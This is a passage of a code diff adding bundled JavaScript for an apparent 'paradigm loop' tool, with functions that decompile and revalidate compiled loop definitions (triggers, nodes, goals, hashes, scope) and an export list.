+  if (Array.isArray(c.triggers)) {
+    d.triggers = c.triggers.map((t) => {
+      if (!isObj2(t)) return t;
+      if (t.type === "schedule") {
+        const s = {};
+        for (const k of ["every", "daily", "weekly"]) if (t[k] !== void 0) s[k] = t[k];
+        return { schedule: s, catchUp: t.catchUp };
+      }
+      if (t.type === "event") {
+        const e = { kind: t.kind };
+        for (const k of ["flow", "loop", "node"]) if (t[k] !== void 0) e[k] = t[k];
+        return { event: e, debounce: t.debounceSec };
+      }
+      if (t.type === "continuous") return { continuous: { cooldown: t.cooldownSec } };
+      return t;
+    });
+  }
+  for (const k of ["autonomy", "notify", "decide", "budgets", "land", "redact", "envFiles", "network", "start"]) if (c[k] !== void 0) d[k] = c[k];
+  if (isObj2(c.goal)) {
+    const g = { node: c.goal.node, verdict: c.goal.verdict };
+    if (!(Array.isArray(c.goal.inputs) && c.goal.inputs.length === 0)) g.inputs = c.goal.inputs;
+    d.goal = g;
+  } else if (c.goal !== void 0) d.goal = c.goal;
+  if (Array.isArray(c.nodes)) {
+    d.nodes = c.nodes.map((n) => {
+      if (!isObj2(n)) return n;
+      const out = { ...n };
+      if (n.type === "check") delete out.argv0Interpreter;
+      if (n.type === "call") {
+        delete out.callee;
+        delete out.hash8;
+      }
+      return out;
+    });
+  } else d.nodes = c.nodes;
+  return d;
+}
+function comparable(c) {
+  const o = { ...c };
+  delete o.protected;
+  const meta = isObj2(c.compiled) ? { version: c.compiled.version, flowsResolved: c.compiled.flowsResolved } : c.compiled;
+  o.compiled = meta;
+  return canonicalJson(o);
+}
+function validateCompiledLoop(value, opts) {
+  if (!isObj2(value)) return fail("", "BAD_TYPE", "a compiled loop is a JSON object");
+  for (const k of Object.keys(value)) if (!COMPILED_KEYS.includes(k)) return fail(k, "UNKNOWN_KEY", `unknown key "${k}" in a compiled loop`);
+  if (value.schema !== LOOP_SCHEMA) return fail("schema", "BAD_SCHEMA", `schema must be "${LOOP_SCHEMA}"`);
+  const meta = value.compiled;
+  if (!isObj2(meta) || meta.version !== LOOP_COMPILED_VERSION || typeof meta.flowsResolved !== "boolean" || typeof meta.callsResolved !== "boolean") {
+    return fail("compiled", "BAD_COMPILED", `compiled is {version: ${LOOP_COMPILED_VERSION}, flowsResolved, callsResolved, sourceHash?}`);
+  }
+  for (const k of Object.keys(meta)) if (!["version", "flowsResolved", "callsResolved", "sourceHash"].includes(k)) return fail(`compiled.${k}`, "UNKNOWN_KEY", `unknown key "${k}" in compiled`);
+  if (meta.sourceHash !== void 0 && (typeof meta.sourceHash !== "string" || !SHA_HEX.test(meta.sourceHash))) return fail("compiled.sourceHash", "BAD_HASH", "compiled.sourceHash is 64 lowercase hex");
+  if (value.scope !== opts.scope) return fail("scope", "BAD_SCOPE", `this loop was found in ${opts.scope} scope but says ${String(value.scope)}`);
+  if (opts.fileId !== void 0 && value.id !== opts.fileId) return fail("id", "FILE_ID_MISMATCH", `id "${String(value.id)}" must match the file name (${opts.fileId}.loop.json)`);
+  if (!Array.isArray(value.protected) || value.protected.some((p) => typeof p !== "string")) return fail("protected", "BAD_TYPE", "protected is a list of path globs");
+  if (!isObj2(value.budgets)) return fail("budgets", "BAD_TYPE", "budgets is filled in a compiled loop");
+  if (value.flowPaths !== void 0) {
+    if (!isObj2(value.flowPaths) || Object.values(value.flowPaths).some((g) => !Array.isArray(g) || g.some((x) => typeof x !== "string"))) {
+      return fail("flowPaths", "BAD_TYPE", "flowPaths maps each flow to a list of path globs");
+    }
+  }
+  const interps = /* @__PURE__ */ new Map();
+  if (Array.isArray(value.nodes)) {
+    for (const n of value.nodes) {
+      if (isObj2(n) && n.type === "check" && Array.isArray(n.run) && typeof n.run[0] === "string" && typeof n.argv0Interpreter === "string") {
+        if (!interps.has(n.run[0])) interps.set(n.run[0], n.argv0Interpreter);
+      }
+    }
+  }
+  const def = decompile(value);
+  const r = compileLoop(def, {
+    scope: opts.scope,
+    budgetDefaults: value.budgets,
+    ...value.flowPaths !== void 0 ? { flowIndex: value.flowPaths } : {},
+    readShebang: (a0) => interps.get(a0) ?? null
+  });
+  if (!r.ok || !r.compiled) return { ok: false, errors: r.errors.length ? r.errors : [{ path: "", code: "BAD_COMPILED", message: "the compiled loop does not compile again" }] };
+  const again = { ...r.compiled, compiled: { ...r.compiled.compiled, ...meta.sourceHash !== void 0 ? { sourceHash: meta.sourceHash } : {} } };
+  if (meta.sourceHash === void 0) delete again.compiled.sourceHash;
+  if (comparable(again) !== comparable(value)) {
+    return fail("", "NOT_CANONICAL", "the compiled loop is not what its definition compiles to (hand-edited or from another compiler): run paradigm loop validate");
+  }
+  return { ok: true, errors: [], compiled: again };
+}
+export {
+  CALL_VERDICTS,
+  CHECK_VERDICTS,
+  LANDS_IN_8_1,
+  LOOP_ALWAYS_PROTECTED,
+  LOOP_ARGV0_CHECKER_ALLOW,
+  LOOP_AUTONOMY2 as LOOP_AUTONOMY,
+  LOOP_BUDGET_DEFAULTS,
+  LOOP_BUILTINS,
+  LOOP_CALL_DEPTH_MAX,
+  LOOP_COMPILED_VERSION,
+  LOOP_CONTINUOUS_MIN_COOLDOWN_SEC,
+  LOOP_DECIDE,
+  LOOP_DEFAULTS,
+  LOOP_ENV_FILES_MAX,
+  LOOP_EVENT_KINDS,
+  LOOP_ID_MAX,
+  LOOP_INPUT_ROOTS,
+  LOOP_JSON_OPS,
+  LOOP_MODEL_ROLES,
+  LOOP_NOTIFY_AS,
+  LOOP_NOTIFY_ON,
+  LOOP_PARADIGM_TOOLS,
+  LOOP_PARSERS,
+  LOOP_SCHEMA,
+  LOOP_TERMINALS,
+  LOOP_WEEKDAYS,
+  MODEL_VERDICTS,
+  TOAST_VERDICTS,
+  argvIssues,
+  argvPathWords,
+  canonicalLoopJson,
+  compileLoop,
+  formatLoopIssue,
+  loopContentHash,
+  loopFileJson,
+  parseCount,
+  parseDurationSec,
+  programName,
+  validateCompiledLoop,
+  validateLoop
+};